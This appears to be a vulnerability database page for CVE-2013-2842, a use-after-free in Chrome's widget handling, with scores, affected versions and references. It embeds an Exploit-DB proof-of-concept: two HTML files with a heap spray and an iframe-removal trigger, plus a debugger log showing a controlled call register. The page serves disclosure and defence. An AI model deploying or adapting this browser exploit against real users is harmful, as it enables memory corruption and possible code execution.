CVE-2013-2842 : Detail

CVE-2013-2842

2.7%V3
Network
2013-05-22
08h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Use-after-free vulnerability in Google Chrome before 27.0.1453.93 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the handling of widgets.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40243

Publication date : 2013-04-03 22h00 +00:00
Author : Google Security Research
EDB Verified : No

#---object-beforeload-chrome.html---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------# <html> <head> <script> function sprayOne(mem, size, v) { var a = new Uint8ClampedArray(size - 20); for (var j = 0; j < a.length; j++) a[j] = v; var t = document.createTextNode(String.fromCharCode.apply(null, new Uint16Array(a))); mem.push(t); } function dsm(evnt) { // spray var mem = []; for (var j = 20; j < 8192; j++) sprayOne(mem, j, 0x43); /* Chromium release build 28.0.1461.0 (191833), built with options: GYP_GENERATORS=ninja GYP_DEFINES='component=shared_library mac_strip_release=0' gclient runhooks lldb attached to Chromium in --single-process mode: * thread #28: tid = 0x3803, 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155, stop reason = EXC_BAD_ACCESS (code=1, address=0x43434617) frame #0: 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155 152 virtual IntRect borderBoundingBox() const { return pixelSnappedBorderBoxRect(); } 153 154 // The content area of the box (excludes padding - and intrinsic padding for table cells, etc... - and border). -> 155 LayoutRect contentBoxRect() const { return LayoutRect(borderLeft() + paddingLeft(), borderTop() + paddingTop(), contentWidth(), contentHeight()); } 156 // The content box in absolute coords. Ignores transforms. 157 IntRect absoluteContentBox() const; 158 // The content box converted to absolute coords (taking transforms into account). (lldb) reg read General Purpose Registers: eax = 0x43434343 ebx = 0x12ae436c ecx = 0x00000018 edx = 0x0edab374 edi = 0x0edd6858 esi = 0x12ae436c ebp = 0xb9bf8e38 esp = 0xb9bf8d50 ss = 0x00000023 eflags = 0x00010286 eip = 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172 libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172 cs = 0x0000001b ds = 0x00000023 es = 0x00000023 fs = 0x00000023 gs = 0x0000000f (lldb) disass libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172 libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172: -> 0x7b617e4: calll *724(%eax) 0x7b617ea: movl %eax, -180(%ebp) 0x7b617f0: movl (%ebx), %eax 0x7b617f2: movl %ebx, (%esp) */ } </script> </head> <body> <iframe src="object-beforeload-frame-chrome.html"></iframe> </body> </html> #----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------# #---object-beforeload-frame-chrome.html------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------# <html> <head> <script> var nb = 0; function handleBeforeLoad() { if (++nb == 1) { p.addEventListener('DOMSubtreeModified', parent.dsm, false); } else if (nb == 2) { p.removeChild(f); } } function documentLoaded() { f = window.frameElement; p = f.parentNode; var o = document.createElement("object"); o.addEventListener('beforeload', handleBeforeLoad, false); document.body.appendChild(o); } window.onload = documentLoaded; </script> </head> <body></body> </html> #----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------# ## E-DB Note: Source ~ https://bugs.chromium.org/p/chromium/issues/detail?id=226696

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (including) 6.1.4

Apple>>Iphone_os >> Version 1.0.0

Apple>>Iphone_os >> Version 1.0.1

Apple>>Iphone_os >> Version 1.0.2

Apple>>Iphone_os >> Version 1.1.0

Apple>>Iphone_os >> Version 1.1.1

Apple>>Iphone_os >> Version 1.1.2

Apple>>Iphone_os >> Version 1.1.3

Apple>>Iphone_os >> Version 1.1.4

Apple>>Iphone_os >> Version 1.1.5

Apple>>Iphone_os >> Version 2.0

Apple>>Iphone_os >> Version 2.0.0

Apple>>Iphone_os >> Version 2.0.1

Apple>>Iphone_os >> Version 2.0.2

Apple>>Iphone_os >> Version 2.1

Apple>>Iphone_os >> Version 2.1.1

Apple>>Iphone_os >> Version 2.2

Apple>>Iphone_os >> Version 2.2.1

Apple>>Iphone_os >> Version 3.0

Apple>>Iphone_os >> Version 3.0.1

Apple>>Iphone_os >> Version 3.1

Apple>>Iphone_os >> Version 3.1.2

Apple>>Iphone_os >> Version 3.1.3

Apple>>Iphone_os >> Version 3.2

Apple>>Iphone_os >> Version 3.2.1

Apple>>Iphone_os >> Version 3.2.2

Apple>>Iphone_os >> Version 4.0

Apple>>Iphone_os >> Version 4.0.1

Apple>>Iphone_os >> Version 4.0.2

Apple>>Iphone_os >> Version 4.1

Apple>>Iphone_os >> Version 4.2.1

Apple>>Iphone_os >> Version 4.2.5

Apple>>Iphone_os >> Version 4.2.8

Apple>>Iphone_os >> Version 4.3.0

Apple>>Iphone_os >> Version 4.3.1

Apple>>Iphone_os >> Version 4.3.2

Apple>>Iphone_os >> Version 4.3.3

Apple>>Iphone_os >> Version 4.3.5

Apple>>Iphone_os >> Version 5.0

Apple>>Iphone_os >> Version 5.0.1

Apple>>Iphone_os >> Version 5.1

Apple>>Iphone_os >> Version 5.1.1

Apple>>Iphone_os >> Version 6.0

Apple>>Iphone_os >> Version 6.0.1

Apple>>Iphone_os >> Version 6.0.2

Apple>>Iphone_os >> Version 6.1

Apple>>Iphone_os >> Version 6.1.2

Apple>>Iphone_os >> Version 6.1.3

Configuraton 0

Google>>Chrome >> Version To (including) 27.0.1453.91

Google>>Chrome >> Version 27.0.1453.0

Google>>Chrome >> Version 27.0.1453.1

Google>>Chrome >> Version 27.0.1453.2

Google>>Chrome >> Version 27.0.1453.3

Google>>Chrome >> Version 27.0.1453.4

Google>>Chrome >> Version 27.0.1453.5

Google>>Chrome >> Version 27.0.1453.6

Google>>Chrome >> Version 27.0.1453.7

Google>>Chrome >> Version 27.0.1453.8

Google>>Chrome >> Version 27.0.1453.9

Google>>Chrome >> Version 27.0.1453.10

Google>>Chrome >> Version 27.0.1453.11

Google>>Chrome >> Version 27.0.1453.12

Google>>Chrome >> Version 27.0.1453.13

Google>>Chrome >> Version 27.0.1453.15

Google>>Chrome >> Version 27.0.1453.34

Google>>Chrome >> Version 27.0.1453.35

Google>>Chrome >> Version 27.0.1453.36

Google>>Chrome >> Version 27.0.1453.37

Google>>Chrome >> Version 27.0.1453.38

Google>>Chrome >> Version 27.0.1453.39

Google>>Chrome >> Version 27.0.1453.40

Google>>Chrome >> Version 27.0.1453.41

Google>>Chrome >> Version 27.0.1453.42

Google>>Chrome >> Version 27.0.1453.43

Google>>Chrome >> Version 27.0.1453.44

Google>>Chrome >> Version 27.0.1453.45

Google>>Chrome >> Version 27.0.1453.46

Google>>Chrome >> Version 27.0.1453.47

Google>>Chrome >> Version 27.0.1453.49

Google>>Chrome >> Version 27.0.1453.50

Google>>Chrome >> Version 27.0.1453.51

Google>>Chrome >> Version 27.0.1453.52

Google>>Chrome >> Version 27.0.1453.54

Google>>Chrome >> Version 27.0.1453.55

Google>>Chrome >> Version 27.0.1453.56

Google>>Chrome >> Version 27.0.1453.57

Google>>Chrome >> Version 27.0.1453.58

Google>>Chrome >> Version 27.0.1453.59

Google>>Chrome >> Version 27.0.1453.60

Google>>Chrome >> Version 27.0.1453.61

Google>>Chrome >> Version 27.0.1453.62

Google>>Chrome >> Version 27.0.1453.63

Google>>Chrome >> Version 27.0.1453.64

Google>>Chrome >> Version 27.0.1453.65

Google>>Chrome >> Version 27.0.1453.66

Google>>Chrome >> Version 27.0.1453.67

Google>>Chrome >> Version 27.0.1453.68

Google>>Chrome >> Version 27.0.1453.69

Google>>Chrome >> Version 27.0.1453.70

Google>>Chrome >> Version 27.0.1453.71

Google>>Chrome >> Version 27.0.1453.72

Google>>Chrome >> Version 27.0.1453.73

Google>>Chrome >> Version 27.0.1453.74

Google>>Chrome >> Version 27.0.1453.75

Google>>Chrome >> Version 27.0.1453.76

Google>>Chrome >> Version 27.0.1453.77

Google>>Chrome >> Version 27.0.1453.78

Google>>Chrome >> Version 27.0.1453.79

Google>>Chrome >> Version 27.0.1453.80

Google>>Chrome >> Version 27.0.1453.81

Google>>Chrome >> Version 27.0.1453.82

Google>>Chrome >> Version 27.0.1453.83

Google>>Chrome >> Version 27.0.1453.84

Google>>Chrome >> Version 27.0.1453.85

Google>>Chrome >> Version 27.0.1453.86

Google>>Chrome >> Version 27.0.1453.87

Google>>Chrome >> Version 27.0.1453.88

Google>>Chrome >> Version 27.0.1453.89

Google>>Chrome >> Version 27.0.1453.90

References

http://support.apple.com/kb/HT6001
Tags : x_refsource_CONFIRM
http://www.debian.org/security/2013/dsa-2695
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/54886
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT5934
Tags : x_refsource_CONFIRM